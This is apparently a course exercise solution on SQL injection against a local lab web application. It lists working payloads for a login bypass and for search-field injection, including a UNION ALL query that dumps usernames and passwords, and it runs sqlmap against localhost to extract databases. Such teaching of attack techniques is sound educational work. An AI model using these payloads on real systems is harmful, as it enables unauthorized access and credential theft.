

BFH Courses

CS Basics (MedInf)

Web Security

Computer Science Basics

Operating System

## Exercise: SQL-Injection (Solution)

### Test the application

Should work. Otherwise, you had a problem in the installation of the different subsystems.

### Use the SQL-injection flow on login

Type the following text in the login fields:

```
Username = benoist'#
```

```
Password = anything you want
```

### Search Field

- One can search any item (without restriction on the destination):

```
bonjour%'#
```

It comments out the testing of the owner of the system.

- Change the selection to add a "or 1" that makes the selection always true.

*You can type*

```
hello% ' OR 1#
```

*You have to take care of the end of the sentence (we have a # here), because there is a %' added to the sentence by the script.*

*So we could have something like that if the # is prohibited:*

```
hello% ' OR 'a' like '%a
```

- Hack the list functionality, such that you can see all the users *Here we need some tricky tricks. We use the SQL statement UNION ALL that allows to concatenate the results of two select.*

```
hello% ' union all select userID,password,username,4,5,6,7,8 from user#
```

*Since the second request has exactly the same number of columns as the first, they are simply concatenate at the end.*

### Play with SQL map

We do not go deep in the usage of SQL map. We just see the power of it:

```
$ sqlmap --wizard
```

We enter the following input:

```
http://localhost/guestbook/index.php?id=2
```

Generates a payload that allows to see username and database. If we select strength 3, we access to all databases of the mysql server with all passwords.

The output is written in the page. You can virtually using this scheme access to any information in the database!

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